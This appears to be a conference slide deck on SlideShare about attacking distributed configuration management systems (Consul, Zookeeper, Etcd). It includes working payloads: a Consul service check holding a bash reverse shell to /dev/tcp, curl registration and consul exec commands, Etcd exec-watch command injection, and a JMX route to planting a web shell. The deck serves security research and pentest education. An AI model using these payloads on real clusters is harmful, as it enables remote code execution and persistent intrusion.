SlideShare a Scribd company logo
How we hacked DCMs?
Bharadwaj Machiraju (@tunnelshade_)
Francis Alexander (@torque59)
#whoarewe
◦ FOSS & Python guys.
◦ Incase you use OWASP OWTF/NoSQL
Exploitation Framework, buy us a beer.
◦ Appsec Engineers at Envestnet Yodlee (fintech).
◦ Mostly we will talk about some nice pwn stories.
DCM = Distributed Configuration Management
When dinosaurs were alive ...
Application
Server
DatabaseUser
Present day scenario!
API Gateway
User
Message
Broker
Microservice 1
Job
Scheduler
Microservice 2
Keystore
Storage
General Necessity!
◦ Distributed nature of applications lead to the
necessity of distributed configuration
management for simplifying the process of
▫ Maintenance of infrastructure.
▫ Synchronization of processes.
▫ Service discovery.
General Our Necessity!
◦ Look cool in pentest reports!!
◦ As other application’s configurations are present
here, it is a goldmine.
◦ And if you get to editing these configurations ...
Types of DCMs
1. Ensemble Type
◦ Cluster of servers in sync.
◦ Queried by the applications for shared data.
◦ Apache Zookeeper & Etcd are popular examples.
◦ Sample Usage: Provide synchronization between
processes.
2. Agent Type
◦ A lightweight agent in every instance.
◦ Agents communicate using gossip protocol (a p2p
protocol).
◦ Serf & Consul are popular examples.
◦ Sample Usage: Discover app instances and add
them to load balancer.
◦ Our favorite type :D
HashiCorp
HashiCorp Consul
◦ Agent type. Built on top Serf.
◦ Provides service discovery.
◦ Uses a microservice interface to a replicated view
of your topology and its configuration.
◦ Can monitor and change services topology based
on health.
Как мы взломали распределенные системы конфигурационного управления
Consul Agent (Master & Slave)
◦ Has client and master modes.
◦ All nodes run an agent.
◦ Stays in sync, interface with REST and DHCP
◦ RAFT quorum, who is leader/master.
◦ Handles WAN gossip to other datacenters.
◦ Forwards queries to leader/master.
Security Overview
◦ No Authentication by default.
◦ Enumerate Services through HTTP API.
◦ SSRF feature/vulnerability.
◦ RCE through services and event firing.
Some Interesting API’s
◦ Agent HTTP Endpoint
▫ /v1/agent/checks : Returns the checks the local agent is
managing
▫ /v1/agent/services : Returns the services the local agent is
managing
◦ Coordinate HTTP Endpoint
▫ /v1/coordinate/datacenters : Queries for WAN coordinates
of Consul servers.
SSRF With Join Endpoint
◦ Triggers the local agent to join a node.
◦ /v1/agent/join/<address>
Final Payload
http://localhost:8500/v1/agent/join/127.0.0.1:port.
Remote Code Execution - I
◦ Execute your code through events.
◦ Consul exec provides an interface to run these.
How does it Work
◦ Create session: PUT /v1/session/create
◦ Create Rexec event: PUT
/v1/kv/_rexec/job-uuid/job?acquire=job-uuid.
◦ Fire the event: PUT /v1/event/fire/_rexec
Remote Code Execution - I
Final Payload
◦ consul exec -http-addr=remote_addr
[whoami/payload].
◦ If disable_remote_execution is enabled then we
are out of luck (which mostly never happens
though !!).
Demo
Как мы взломали распределенные системы конфигурационного управления
Remote Code Execution - II
◦ Execute your code by registering as services.
◦ We could then leverage checks to get our code
executed.
◦ Services are synced and then executed.
◦ Once done with your work de-register and come
out.
Remote Code Execution - II
Registering a Service
◦ Sample Service:With Check
{ "ID": "http",
"Name": "http",
"Address": "0.0.0.0",
"Port": 80,
"check": {
"script": "bash -i >& /dev/tcp/0.0.0.0/8081 0>&1",
"interval": "10s"
}
Remote Code Execution - II
Final Payload
◦ Use Curl
▫ curl -X PUT --data-binary @test.json
http://localhost:8500/v1/agent/service/regi
ster
◦ Check : dig @127.0.0.1 -p 8600 http.service.consul.
◦ Open netcat you should have your shell ready.
Remote Code Execution - II
Final Thoughts.
◦ If not de-registered, the service should be running
and you should have persistence.
◦ Deregistering is simple
(/deregister/service-name)
Demo
Как мы взломали распределенные системы конфигурационного управления
Apache Zookeeper
Because coordinating distributed applications is a zoo
Apache Zookeeper
◦ Ensemble type.
◦ Cluster of servers available to query.
◦ The name space provided is much like that of a
standard file system.
◦ A name is a sequence of path elements separated
by a slash (/). Every node is identified by a path.
It looks like (meh)
Hierarchical Namespace
Quorum Peer
◦ One server in quorum is called quorum peer.
◦ Each one has three ports open
▫ Intercom. ports (Default: 2888 & 3888)
▫ Client port (Default: 2181)
Simple API
◦ create/delete/exists node
◦ get/set data node
◦ get children node
◦ sync
◦ watch node
◦ Libs available in all languages exposing this api.
Auth?
◦ Optional Auth ← People are Lazy (Proof:
Shodan)
◦ Different kinds of auth are supported.
◦ No auth is fine, but if auth then we need a way.
◦ Next logical step was to dive into internals of zk.
◦ For that
Installed Eclipse & configured JAVA
Let us try Hey man,
where is
the auth?
Bits and Pieces!
◦ Custom binary protocol using Apache Jute.
◦ Only one vulnerability known till date
CVE-2015-5017 (Buffer Overflow in ZK C cli shell)
◦ But then ...
Hey, please
sync with this
latest data
snapshot!
Hi, I am
your
follower.
Rogue Quorum Peer <= 3.4.9
◦ Introduce a rogue follower to quorum leader
gives you access to data along with the auth info
for certain auth providers.
◦ So, whenever you want to modify existing data,
just resubmit the auth info along with write
request to the leader. KABOOOM!!
Как мы взломали распределенные системы конфигурационного управления
Demo
Why is Zookeeper important?
◦ Used in many awesome products mainly from
Apache.
◦ Apache HBase non related distributed db.
◦ Uses zk for synchronization.
HBase
Briefly,
◦ Every HMaster creates an ephemeral node and
backup masters just wait.
◦ If you can bypass auth and write/delete this
ephemeral node, you can add a rogue master.
◦ Give it time :P or force crash the old master for all
region servers to connect to your rogue.
◦ Extrapolation of CVE-2015-1836.
Briefly
JMX and Zookeeper are Buddies
◦ Zookeeper runs JMX by default but on loopback.
◦ Instances having remotely accessible JMX are fun.
◦ End Result: Chain set of Bugs to RCE.
How we did it luckily!!
◦ Memory can be accessed through JMX which can
be written to a file.
◦ We used Zookeeper to pop a php/jsp shell by
creating a node with our code as its value.
◦ Multiple reads of the node makes it available in
the memory.
◦ Dump to an executable location within the web
server. PWN !!!
Как мы взломали распределенные системы конфигурационного управления
CoreOS
Architecture
Etcd Basics
◦ Nodes get Connected to the Main Server (Cluster)
◦ Stores data persistently
◦ Takes snapshots.
◦ Like a directory tree.
◦ Uses a discovery URL.
Etcd API
◦ put key value
◦ get key
◦ del --from-key a
◦ snapshot save snapshot.db
◦ watch
Either use CURL or get yourself etcdctl
Inherent [In]security
◦ No Authentication by default.
◦ Authentication sucks if not implemented properly.
◦ HTTP Endpoints available at your disposal.
◦ RCE through un-authenticated instances when
exposed with a feature.
But it is 2017 right!!
◦ Users and roles implemented in Etcd>=2.1
◦ Auth can be switched on by enabling root
user.
◦ But ...
◦ Guest account gets enabled by default.
◦ guest users have read and write
privileges.
Как мы взломали распределенные системы конфигурационного управления
Use Case - Chain to RCE
◦ Etcd allows usage of watchers.
◦ Watch a node and execute commands
◦ We came across $ETCD_WATCH_VALUE
◦ We saw some pretty dumb implementations.
◦ Etcd does not filter values coming to
ETCD_WATCH_VALUE
etcdctl exec-watch --recursive /foo_dir/foo --sh -c
'$ETCD_WATCH_VALUE'
Let the request talk.
curl http://<ip>:2379/v2/keys/foo_dir/foo -X PUT
-d value="ls"
Pwn !!
Brainstorm!!!
◦ Requires write operation, to write to the key, and
we should probably have luck with monitoring
using exec-watch, which most people do !!.
◦ Etcd is being used in Kubernetes. You cannot be
more Evil.
Demo
Как мы взломали распределенные системы конфигурационного управления
Etcd is nice
◦ Some of the attacks, only applicable if instance is
not authenticated.
◦ You can add rogue members.
◦ Check for health.
◦ Get the connected members’ list.
Lots of DCMs Pwnage
Automation !!
Garfield
◦ Wannabe distributed application stack scanner.
◦ Currently supports DCMs - Zk, Etcd and Consul.
Written in <3 with Python.
Как мы взломали распределенные системы конфигурационного управления
Как мы взломали распределенные системы конфигурационного управления
Demos
References
◦ CoreOS Etcd (https://coreos.com/etcd)
◦ Apache Zookeeper (https://zookeeper.apache.org/)
◦ Hashicorp Consul (https://www.consul.io/)
◦ Zk (https://zookeeper.apache.org/doc/trunk/zookeeperOver.html)
Ongoing Work
◦ Not yet broken auth providers in zookeeper.
◦ Kubernetes access through etcd.
◦ Other distributed systems using zookeeper.
Shouts!!
PhDays (y)
Wonderful folks of #appsec@yodlee
Kamaiah Nadavala
Ajin Abraham
Thank You!
Bharadwaj Machiraju
@tunnelshade_
blog.tunnelshade.in
Francis Alexander
@torque59
nosqlproject.com
github.com/torque59/garfield

More Related Content

PPTX
Изучаем миллиард состояний программы на уровне профи. Как разработать быстрый...
Positive Hack Days
 
PDF
A Case Study in Attacking KeePass
Will Schroeder
 
PPTX
Derbycon - Passing the Torch
Will Schroeder
 
PPTX
Drilling deeper with Veil's PowerTools
Will Schroeder
 
PPTX
Wielding a cortana
Will Schroeder
 
PDF
Take a Jailbreak -Stunning Guards for iOS Jailbreak- by Kaoru Otsuka
CODE BLUE
 
PDF
For the Greater Good: Leveraging VMware's RPC Interface for fun and profit by...
CODE BLUE
 
PDF
Ace Up the Sleeve
Will Schroeder
 
Изучаем миллиард состояний программы на уровне профи. Как разработать быстрый...
Positive Hack Days
 
A Case Study in Attacking KeePass
Will Schroeder
 
Derbycon - Passing the Torch
Will Schroeder
 
Drilling deeper with Veil's PowerTools
Will Schroeder
 
Wielding a cortana
Will Schroeder
 
Take a Jailbreak -Stunning Guards for iOS Jailbreak- by Kaoru Otsuka
CODE BLUE
 
For the Greater Good: Leveraging VMware's RPC Interface for fun and profit by...
CODE BLUE
 
Ace Up the Sleeve
Will Schroeder
 

What's hot (20)

PPTX
Building Better Backdoors with WMI - DerbyCon 2017
Alexander Polce Leary
 
PPTX
Bridging the Gap
Will Schroeder
 
PDF
I Have the Power(View)
Will Schroeder
 
PDF
DeathNote of Microsoft Windows Kernel
Peter Hlavaty
 
PDF
A Year in the Empire
Will Schroeder
 
PPTX
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
Soroush Dalili
 
KEY
Apache Wizardry - Ohio Linux 2011
Rich Bowen
 
PDF
Docker Security Paradigm
Anis LARGUEM
 
PPTX
Here Be Dragons: The Unexplored Land of Active Directory ACLs
Andy Robbins
 
PDF
Threat stack aws
Jen Andre
 
PPTX
Attack on the Core
Peter Hlavaty
 
PDF
Wtf is happening_inside_my_android_phone_public
Jaime Blasco
 
PDF
Codetainer: a Docker-based browser code 'sandbox'
Jen Andre
 
KEY
Apache Cookbook - TekX Chicago 2010
Rich Bowen
 
PPTX
moscmy2016: Extending Docker
Mohammad Fairus Khalid
 
PDF
RAT - Repurposing Adversarial Tradecraft
⭕Alexander Rymdeko-Harvey
 
PPTX
Adventures in Asymmetric Warfare
Will Schroeder
 
PDF
Red vs Blue- Modern Atice Directory Attacks, Detection & Protection by Sean M...
Shakacon
 
PDF
Attacking Oracle with the Metasploit Framework
Chris Gates
 
PPTX
PowerUp - Automating Windows Privilege Escalation
Will Schroeder
 
Building Better Backdoors with WMI - DerbyCon 2017
Alexander Polce Leary
 
Bridging the Gap
Will Schroeder
 
I Have the Power(View)
Will Schroeder
 
DeathNote of Microsoft Windows Kernel
Peter Hlavaty
 
A Year in the Empire
Will Schroeder
 
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
Soroush Dalili
 
Apache Wizardry - Ohio Linux 2011
Rich Bowen
 
Docker Security Paradigm
Anis LARGUEM
 
Here Be Dragons: The Unexplored Land of Active Directory ACLs
Andy Robbins
 
Threat stack aws
Jen Andre
 
Attack on the Core
Peter Hlavaty
 
Wtf is happening_inside_my_android_phone_public
Jaime Blasco
 
Codetainer: a Docker-based browser code 'sandbox'
Jen Andre
 
Apache Cookbook - TekX Chicago 2010
Rich Bowen
 
moscmy2016: Extending Docker
Mohammad Fairus Khalid
 
RAT - Repurposing Adversarial Tradecraft
⭕Alexander Rymdeko-Harvey
 
Adventures in Asymmetric Warfare
Will Schroeder
 
Red vs Blue- Modern Atice Directory Attacks, Detection & Protection by Sean M...
Shakacon
 
Attacking Oracle with the Metasploit Framework
Chris Gates
 
PowerUp - Automating Windows Privilege Escalation
Will Schroeder
 
Ad

Similar to Как мы взломали распределенные системы конфигурационного управления (20)

PDF
Bash-ing brittle indicators: Red teaming mac-os without bash or python
Cody Thomas
 
PPTX
Automating Software Development Life Cycle - A DevOps Approach
Akshaya Mahapatra
 
PDF
SREcon Europe 2016 - Full-mesh IPsec network at Hosted Graphite
HostedGraphite
 
PDF
Experiences with Microservices at Tuenti
Andrés Viedma Peláez
 
PDF
murakumo Cloud Controller
Shingo Kawano
 
PDF
Service discovery like a pro (presented at reversimX)
Eran Harel
 
PDF
Azure functions
Rajesh Kolla
 
PDF
FIWARE Tech Summit - Docker Swarm Secrets for Creating Great FIWARE Platforms
FIWARE
 
PDF
A Tale of a Server Architecture (Frozen Rails 2012)
Flowdock
 
PDF
(phpconftw2012) PHP as a Middleware in Embedded Systems
sosorry
 
PPTX
Introduction to apache zoo keeper
Omid Vahdaty
 
PPTX
To Build My Own Cloud with Blackjack…
Sergey Dzyuban
 
PPT
Node js presentation
martincabrera
 
PDF
Composing services with Kubernetes
Bart Spaans
 
PDF
The Recording HTTP Proxy: Not Yet Another Messiah - Bulgaria PHP 2019
Viktor Todorov
 
PDF
Phil Basford - machine learning at scale with aws sage maker
AWSCOMSUM
 
PPTX
Splunk: Forward me the REST of those shells
Anthony D Hendricks
 
PPTX
Machine learning at scale with aws sage maker
PhilipBasford
 
PPTX
DevOps Interview Questions Part - 2 | Devops Interview Questions And Answers ...
Simplilearn
 
PDF
Get your teeth into Plack
Workhorse Computing
 
Bash-ing brittle indicators: Red teaming mac-os without bash or python
Cody Thomas
 
Automating Software Development Life Cycle - A DevOps Approach
Akshaya Mahapatra
 
SREcon Europe 2016 - Full-mesh IPsec network at Hosted Graphite
HostedGraphite
 
Experiences with Microservices at Tuenti
Andrés Viedma Peláez
 
murakumo Cloud Controller
Shingo Kawano
 
Service discovery like a pro (presented at reversimX)
Eran Harel
 
Azure functions
Rajesh Kolla
 
FIWARE Tech Summit - Docker Swarm Secrets for Creating Great FIWARE Platforms
FIWARE
 
A Tale of a Server Architecture (Frozen Rails 2012)
Flowdock
 
(phpconftw2012) PHP as a Middleware in Embedded Systems
sosorry
 
Introduction to apache zoo keeper
Omid Vahdaty
 
To Build My Own Cloud with Blackjack…
Sergey Dzyuban
 
Node js presentation
martincabrera
 
Composing services with Kubernetes
Bart Spaans
 
The Recording HTTP Proxy: Not Yet Another Messiah - Bulgaria PHP 2019
Viktor Todorov
 
Phil Basford - machine learning at scale with aws sage maker
AWSCOMSUM
 
Splunk: Forward me the REST of those shells
Anthony D Hendricks
 
Machine learning at scale with aws sage maker
PhilipBasford
 
DevOps Interview Questions Part - 2 | Devops Interview Questions And Answers ...
Simplilearn
 
Get your teeth into Plack
Workhorse Computing
 
Ad

More from Positive Hack Days (20)

PPTX
Инструмент ChangelogBuilder для автоматической подготовки Release Notes
Positive Hack Days
 
PPTX
Как мы собираем проекты в выделенном окружении в Windows Docker
Positive Hack Days
 
PPTX
Типовая сборка и деплой продуктов в Positive Technologies
Positive Hack Days
 
PPTX
Аналитика в проектах: TFS + Qlik
Positive Hack Days
 
PPTX
Использование анализатора кода SonarQube
Positive Hack Days
 
PPTX
Развитие сообщества Open DevOps Community
Positive Hack Days
 
PPTX
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
Positive Hack Days
 
PPTX
Автоматизация построения правил для Approof
Positive Hack Days
 
PDF
Мастер-класс «Трущобы Application Security»
Positive Hack Days
 
PDF
Формальные методы защиты приложений
Positive Hack Days
 
PDF
Эвристические методы защиты приложений
Positive Hack Days
 
PDF
Теоретические основы Application Security
Positive Hack Days
 
PPTX
От экспериментального программирования к промышленному: путь длиной в 10 лет
Positive Hack Days
 
PDF
Уязвимое Android-приложение: N проверенных способов наступить на грабли
Positive Hack Days
 
PPTX
Требования по безопасности в архитектуре ПО
Positive Hack Days
 
PDF
Формальная верификация кода на языке Си
Positive Hack Days
 
PPTX
Механизмы предотвращения атак в ASP.NET Core
Positive Hack Days
 
PDF
SOC для КИИ: израильский опыт
Positive Hack Days
 
PDF
Honeywell Industrial Cyber Security Lab & Services Center
Positive Hack Days
 
PDF
Credential stuffing и брутфорс-атаки
Positive Hack Days
 
Инструмент ChangelogBuilder для автоматической подготовки Release Notes
Positive Hack Days
 
Как мы собираем проекты в выделенном окружении в Windows Docker
Positive Hack Days
 
Типовая сборка и деплой продуктов в Positive Technologies
Positive Hack Days
 
Аналитика в проектах: TFS + Qlik
Positive Hack Days
 
Использование анализатора кода SonarQube
Positive Hack Days
 
Развитие сообщества Open DevOps Community
Positive Hack Days
 
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
Positive Hack Days
 
Автоматизация построения правил для Approof
Positive Hack Days
 
Мастер-класс «Трущобы Application Security»
Positive Hack Days
 
Формальные методы защиты приложений
Positive Hack Days
 
Эвристические методы защиты приложений
Positive Hack Days
 
Теоретические основы Application Security
Positive Hack Days
 
От экспериментального программирования к промышленному: путь длиной в 10 лет
Positive Hack Days
 
Уязвимое Android-приложение: N проверенных способов наступить на грабли
Positive Hack Days
 
Требования по безопасности в архитектуре ПО
Positive Hack Days
 
Формальная верификация кода на языке Си
Positive Hack Days
 
Механизмы предотвращения атак в ASP.NET Core
Positive Hack Days
 
SOC для КИИ: израильский опыт
Positive Hack Days
 
Honeywell Industrial Cyber Security Lab & Services Center
Positive Hack Days
 
Credential stuffing и брутфорс-атаки
Positive Hack Days
 

Recently uploaded (20)

PDF
Make GenAI investments go further with the Dell AI Factory
Principled Technologies
 
PPTX
AI and Robotics for Human Well-being.pptx
JAYMIN SUTHAR
 
PDF
Structs to JSON: How Go Powers REST APIs
Emily Achieng
 
PDF
Trying to figure out MCP by actually building an app from scratch with open s...
Julien SIMON
 
PDF
MASTERDECK GRAPHSUMMIT SYDNEY (Public).pdf
Neo4j
 
PDF
The Future of Mobile Is Context-Aware—Are You Ready?
iProgrammer Solutions Private Limited
 
PDF
A Strategic Analysis of the MVNO Wave in Emerging Markets.pdf
IPLOOK Networks
 
PPTX
What-is-the-World-Wide-Web -- Introduction
tonifi9488
 
PDF
Using Anchore and DefectDojo to Stand Up Your DevSecOps Function
Anchore
 
PDF
The Evolution of KM Roles (Presented at Knowledge Summit Dublin 2025)
Enterprise Knowledge
 
PDF
Doc9.....................................
SofiaCollazos
 
PDF
Oracle AI Vector Search- Getting Started and what's new in 2025- AIOUG Yatra ...
Sandesh Rao
 
PDF
Orbitly Pitch Deck|A Mission-Driven Platform for Side Project Collaboration (...
zz41354899
 
PDF
Advances in Ultra High Voltage (UHV) Transmission and Distribution Systems.pdf
Nabajyoti Banik
 
PDF
Google I/O Extended 2025 Baku - all ppts
HusseinMalikMammadli
 
PDF
Accelerating Oracle Database 23ai Troubleshooting with Oracle AHF Fleet Insig...
Sandesh Rao
 
PDF
How Open Source Changed My Career by abdelrahman ismail
a0m0rajab1
 
PDF
CIFDAQ's Market Wrap : Bears Back in Control?
CIFDAQ
 
PDF
Cloud-Migration-Best-Practices-A-Practical-Guide-to-AWS-Azure-and-Google-Clou...
Artjoker Software Development Company
 
PDF
REPORT: Heating appliances market in Poland 2024
SPIUG
 
Make GenAI investments go further with the Dell AI Factory
Principled Technologies
 
AI and Robotics for Human Well-being.pptx
JAYMIN SUTHAR
 
Structs to JSON: How Go Powers REST APIs
Emily Achieng
 
Trying to figure out MCP by actually building an app from scratch with open s...
Julien SIMON
 
MASTERDECK GRAPHSUMMIT SYDNEY (Public).pdf
Neo4j
 
The Future of Mobile Is Context-Aware—Are You Ready?
iProgrammer Solutions Private Limited
 
A Strategic Analysis of the MVNO Wave in Emerging Markets.pdf
IPLOOK Networks
 
What-is-the-World-Wide-Web -- Introduction
tonifi9488
 
Using Anchore and DefectDojo to Stand Up Your DevSecOps Function
Anchore
 
The Evolution of KM Roles (Presented at Knowledge Summit Dublin 2025)
Enterprise Knowledge
 
Doc9.....................................
SofiaCollazos
 
Oracle AI Vector Search- Getting Started and what's new in 2025- AIOUG Yatra ...
Sandesh Rao
 
Orbitly Pitch Deck|A Mission-Driven Platform for Side Project Collaboration (...
zz41354899
 
Advances in Ultra High Voltage (UHV) Transmission and Distribution Systems.pdf
Nabajyoti Banik
 
Google I/O Extended 2025 Baku - all ppts
HusseinMalikMammadli
 
Accelerating Oracle Database 23ai Troubleshooting with Oracle AHF Fleet Insig...
Sandesh Rao
 
How Open Source Changed My Career by abdelrahman ismail
a0m0rajab1
 
CIFDAQ's Market Wrap : Bears Back in Control?
CIFDAQ
 
Cloud-Migration-Best-Practices-A-Practical-Guide-to-AWS-Azure-and-Google-Clou...
Artjoker Software Development Company
 
REPORT: Heating appliances market in Poland 2024
SPIUG
 

Как мы взломали распределенные системы конфигурационного управления

  • 1. How we hacked DCMs? Bharadwaj Machiraju (@tunnelshade_) Francis Alexander (@torque59)
  • 2. #whoarewe ◦ FOSS & Python guys. ◦ Incase you use OWASP OWTF/NoSQL Exploitation Framework, buy us a beer. ◦ Appsec Engineers at Envestnet Yodlee (fintech). ◦ Mostly we will talk about some nice pwn stories.
  • 3. DCM = Distributed Configuration Management
  • 4. When dinosaurs were alive ... Application Server DatabaseUser
  • 5. Present day scenario! API Gateway User Message Broker Microservice 1 Job Scheduler Microservice 2 Keystore Storage
  • 6. General Necessity! ◦ Distributed nature of applications lead to the necessity of distributed configuration management for simplifying the process of ▫ Maintenance of infrastructure. ▫ Synchronization of processes. ▫ Service discovery.
  • 7. General Our Necessity! ◦ Look cool in pentest reports!! ◦ As other application’s configurations are present here, it is a goldmine. ◦ And if you get to editing these configurations ...
  • 9. 1. Ensemble Type ◦ Cluster of servers in sync. ◦ Queried by the applications for shared data. ◦ Apache Zookeeper & Etcd are popular examples. ◦ Sample Usage: Provide synchronization between processes.
  • 10. 2. Agent Type ◦ A lightweight agent in every instance. ◦ Agents communicate using gossip protocol (a p2p protocol). ◦ Serf & Consul are popular examples. ◦ Sample Usage: Discover app instances and add them to load balancer. ◦ Our favorite type :D
  • 12. HashiCorp Consul ◦ Agent type. Built on top Serf. ◦ Provides service discovery. ◦ Uses a microservice interface to a replicated view of your topology and its configuration. ◦ Can monitor and change services topology based on health.
  • 14. Consul Agent (Master & Slave) ◦ Has client and master modes. ◦ All nodes run an agent. ◦ Stays in sync, interface with REST and DHCP ◦ RAFT quorum, who is leader/master. ◦ Handles WAN gossip to other datacenters. ◦ Forwards queries to leader/master.
  • 15. Security Overview ◦ No Authentication by default. ◦ Enumerate Services through HTTP API. ◦ SSRF feature/vulnerability. ◦ RCE through services and event firing.
  • 16. Some Interesting API’s ◦ Agent HTTP Endpoint ▫ /v1/agent/checks : Returns the checks the local agent is managing ▫ /v1/agent/services : Returns the services the local agent is managing ◦ Coordinate HTTP Endpoint ▫ /v1/coordinate/datacenters : Queries for WAN coordinates of Consul servers.
  • 17. SSRF With Join Endpoint ◦ Triggers the local agent to join a node. ◦ /v1/agent/join/<address> Final Payload http://localhost:8500/v1/agent/join/127.0.0.1:port.
  • 18. Remote Code Execution - I ◦ Execute your code through events. ◦ Consul exec provides an interface to run these. How does it Work ◦ Create session: PUT /v1/session/create ◦ Create Rexec event: PUT /v1/kv/_rexec/job-uuid/job?acquire=job-uuid. ◦ Fire the event: PUT /v1/event/fire/_rexec
  • 19. Remote Code Execution - I Final Payload ◦ consul exec -http-addr=remote_addr [whoami/payload]. ◦ If disable_remote_execution is enabled then we are out of luck (which mostly never happens though !!).
  • 20. Demo
  • 22. Remote Code Execution - II ◦ Execute your code by registering as services. ◦ We could then leverage checks to get our code executed. ◦ Services are synced and then executed. ◦ Once done with your work de-register and come out.
  • 23. Remote Code Execution - II Registering a Service ◦ Sample Service:With Check { "ID": "http", "Name": "http", "Address": "0.0.0.0", "Port": 80, "check": { "script": "bash -i >& /dev/tcp/0.0.0.0/8081 0>&1", "interval": "10s" }
  • 24. Remote Code Execution - II Final Payload ◦ Use Curl ▫ curl -X PUT --data-binary @test.json http://localhost:8500/v1/agent/service/regi ster ◦ Check : dig @127.0.0.1 -p 8600 http.service.consul. ◦ Open netcat you should have your shell ready.
  • 25. Remote Code Execution - II Final Thoughts. ◦ If not de-registered, the service should be running and you should have persistence. ◦ Deregistering is simple (/deregister/service-name)
  • 26. Demo
  • 28. Apache Zookeeper Because coordinating distributed applications is a zoo
  • 29. Apache Zookeeper ◦ Ensemble type. ◦ Cluster of servers available to query. ◦ The name space provided is much like that of a standard file system. ◦ A name is a sequence of path elements separated by a slash (/). Every node is identified by a path.
  • 30. It looks like (meh)
  • 32. Quorum Peer ◦ One server in quorum is called quorum peer. ◦ Each one has three ports open ▫ Intercom. ports (Default: 2888 & 3888) ▫ Client port (Default: 2181)
  • 33. Simple API ◦ create/delete/exists node ◦ get/set data node ◦ get children node ◦ sync ◦ watch node ◦ Libs available in all languages exposing this api.
  • 34. Auth? ◦ Optional Auth ← People are Lazy (Proof: Shodan) ◦ Different kinds of auth are supported. ◦ No auth is fine, but if auth then we need a way. ◦ Next logical step was to dive into internals of zk. ◦ For that
  • 35. Installed Eclipse & configured JAVA
  • 36. Let us try Hey man, where is the auth?
  • 37. Bits and Pieces! ◦ Custom binary protocol using Apache Jute. ◦ Only one vulnerability known till date CVE-2015-5017 (Buffer Overflow in ZK C cli shell) ◦ But then ...
  • 38. Hey, please sync with this latest data snapshot! Hi, I am your follower.
  • 39. Rogue Quorum Peer <= 3.4.9 ◦ Introduce a rogue follower to quorum leader gives you access to data along with the auth info for certain auth providers. ◦ So, whenever you want to modify existing data, just resubmit the auth info along with write request to the leader. KABOOOM!!
  • 41. Demo
  • 42. Why is Zookeeper important? ◦ Used in many awesome products mainly from Apache. ◦ Apache HBase non related distributed db. ◦ Uses zk for synchronization.
  • 43. HBase
  • 44. Briefly, ◦ Every HMaster creates an ephemeral node and backup masters just wait. ◦ If you can bypass auth and write/delete this ephemeral node, you can add a rogue master. ◦ Give it time :P or force crash the old master for all region servers to connect to your rogue. ◦ Extrapolation of CVE-2015-1836.
  • 46. JMX and Zookeeper are Buddies ◦ Zookeeper runs JMX by default but on loopback. ◦ Instances having remotely accessible JMX are fun. ◦ End Result: Chain set of Bugs to RCE.
  • 47. How we did it luckily!! ◦ Memory can be accessed through JMX which can be written to a file. ◦ We used Zookeeper to pop a php/jsp shell by creating a node with our code as its value. ◦ Multiple reads of the node makes it available in the memory. ◦ Dump to an executable location within the web server. PWN !!!
  • 51. Etcd Basics ◦ Nodes get Connected to the Main Server (Cluster) ◦ Stores data persistently ◦ Takes snapshots. ◦ Like a directory tree. ◦ Uses a discovery URL.
  • 52. Etcd API ◦ put key value ◦ get key ◦ del --from-key a ◦ snapshot save snapshot.db ◦ watch Either use CURL or get yourself etcdctl
  • 53. Inherent [In]security ◦ No Authentication by default. ◦ Authentication sucks if not implemented properly. ◦ HTTP Endpoints available at your disposal. ◦ RCE through un-authenticated instances when exposed with a feature.
  • 54. But it is 2017 right!! ◦ Users and roles implemented in Etcd>=2.1 ◦ Auth can be switched on by enabling root user. ◦ But ... ◦ Guest account gets enabled by default. ◦ guest users have read and write privileges.
  • 56. Use Case - Chain to RCE ◦ Etcd allows usage of watchers. ◦ Watch a node and execute commands ◦ We came across $ETCD_WATCH_VALUE ◦ We saw some pretty dumb implementations. ◦ Etcd does not filter values coming to ETCD_WATCH_VALUE
  • 57. etcdctl exec-watch --recursive /foo_dir/foo --sh -c '$ETCD_WATCH_VALUE'
  • 58. Let the request talk. curl http://<ip>:2379/v2/keys/foo_dir/foo -X PUT -d value="ls" Pwn !!
  • 59. Brainstorm!!! ◦ Requires write operation, to write to the key, and we should probably have luck with monitoring using exec-watch, which most people do !!. ◦ Etcd is being used in Kubernetes. You cannot be more Evil.
  • 60. Demo
  • 62. Etcd is nice ◦ Some of the attacks, only applicable if instance is not authenticated. ◦ You can add rogue members. ◦ Check for health. ◦ Get the connected members’ list.
  • 63. Lots of DCMs Pwnage Automation !!
  • 64. Garfield ◦ Wannabe distributed application stack scanner. ◦ Currently supports DCMs - Zk, Etcd and Consul. Written in <3 with Python.
  • 67. Demos
  • 68. References ◦ CoreOS Etcd (https://coreos.com/etcd) ◦ Apache Zookeeper (https://zookeeper.apache.org/) ◦ Hashicorp Consul (https://www.consul.io/) ◦ Zk (https://zookeeper.apache.org/doc/trunk/zookeeperOver.html) Ongoing Work ◦ Not yet broken auth providers in zookeeper. ◦ Kubernetes access through etcd. ◦ Other distributed systems using zookeeper.
  • 69. Shouts!! PhDays (y) Wonderful folks of #appsec@yodlee Kamaiah Nadavala Ajin Abraham
  • 70. Thank You! Bharadwaj Machiraju @tunnelshade_ blog.tunnelshade.in Francis Alexander @torque59 nosqlproject.com github.com/torque59/garfield